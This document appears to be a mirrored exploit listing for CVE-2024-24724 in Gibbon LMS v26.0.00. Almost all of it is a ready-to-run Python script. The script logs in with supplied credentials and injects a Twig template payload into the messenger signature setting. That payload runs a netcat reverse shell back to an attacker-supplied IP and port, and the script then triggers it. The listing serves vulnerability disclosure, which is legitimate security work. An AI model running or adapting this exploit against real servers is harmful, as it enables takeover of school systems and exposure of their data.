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Gibbon 26.0.00 Server-Side Template Injection / Remote Code Execution

CVE Category Price Severity
CVE-2024-24724 CWE-94 $1500 High
Author Risk Exploitation Type Date
Unknown Critical Remote 2024-04-01
CPE
cpe:/a:vendor:product:version
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024040001

Below is a copy:

Gibbon 26.0.00 Server-Side Template Injection / Remote Code Execution
# Exploit Title: Gibbon LMS has an SSTI vulnerability on the v26.0.00 version
# Date: 21.01.2024
# Exploit Author: SecondX.io Research Team(Islam Rzayev,Fikrat Guliev, Ali Maharramli)
# Vendor Homepage: https://gibbonedu.org/
# Software Link: https://github.com/GibbonEdu/core
# Version: v26.0.00
# Tested on: Ubuntu 22.0
# CVE : CVE-2024-24724
import requests
import re
import sys


def login(target_host, target_port,email,password):
    url = f'http://{target_host}:{target_port}/login.php?timeout=true'
    headers = {"Content-Type": "multipart/form-data; boundary=---------------------------174475955731268836341556039466"}
    data = f"-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"method\"\r\n\r\ndefault\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n{email}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n{password}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"gibbonSchoolYearID\"\r\n\r\n025\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"gibboni18nID\"\r\n\r\n0002\r\n-----------------------------174475955731268836341556039466--\r\n"
    r = requests.post(url, headers=headers, data=data, allow_redirects=False)
    Session_Cookie = re.split(r"\s+", r.headers['Set-Cookie'])
    if Session_Cookie[4] is not None and '/index.php' in str(r.headers['Location']):
        print("login successful!")

    return Session_Cookie[4]



def rce(cookie, target_host, target_port, attacker_ip, attacker_port):
    url = f'http://{target_host}:{target_port}/modules/School%20Admin/messengerSettingsProcess.php'
    headers = {"Content-Type": "multipart/form-data; boundary=---------------------------67142646631840027692410521651", "Cookie": cookie}
    data = f"-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n/modules/School Admin/messengerSettings.php\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"enableHomeScreenWidget\"\r\n\r\nY\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"signatureTemplate\"\r\n\r\n{{{{[\'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {attacker_ip} {attacker_port} >/tmp/f']|filter('system')}}}}\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"messageBcc\"\r\n\r\n\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"pinnedMessagesOnHome\"\r\n\r\nN\r\n-----------------------------67142646631840027692410521651--\r\n"
    r = requests.post(url, headers=headers, data=data, allow_redirects=False)
    if 'success0' in str(r.headers['Location']):
        print("Payload uploaded successfully!")



def trigger(cookie, target_host, target_port):
    url = f'http://{target_host}:{target_port}/index.php?q=/modules/School%20Admin/messengerSettings.php&return=success0'
    headers = {"Cookie": cookie}
    print("RCE successful!")
    r = requests.get(url, headers=headers, allow_redirects=False)


if __name__ == '__main__':
    if len(sys.argv) != 7:
        print("Usage: script.py <target_host> <target_port> <attacker_ip> <attacker_port> <email> <password>")
        sys.exit(1)
    cookie = login(sys.argv[1], sys.argv[2],sys.argv[5],sys.argv[6])
    rce(cookie, sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
    trigger(cookie, sys.argv[1], sys.argv[2])

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